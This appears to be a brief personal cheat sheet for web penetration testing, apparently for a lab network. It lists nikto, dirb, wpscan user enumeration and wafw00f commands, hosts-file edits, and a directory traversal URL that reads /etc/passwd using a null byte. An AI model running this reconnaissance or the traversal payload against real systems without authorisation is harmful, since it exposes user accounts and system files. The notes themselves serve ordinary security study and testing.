HTTP.md

HTTP/HTTPS Pen Testing

Enumeration

nikto -host thedomain.com

dirb http://10.11.1.140

---

To add IP's to your host file

Add the following to the hosts file 10.11.1.140 domainname.com

Linux is /etc/hosts

Windows is C:\windows\system32\drivers\etc\hosts

---

Directory Traversal Vulnerability

# To attempt to view the /etc/passwd file
http://host/index.php?page=./../../../../../etc/passwd%00

---

Wordpress

# Enumerate users on wordpress site
wpscan targetsite.com --enumerate u

---

Spidering with Burpsuite

---

Check for web firewalls with wafw00f

wafw00f ip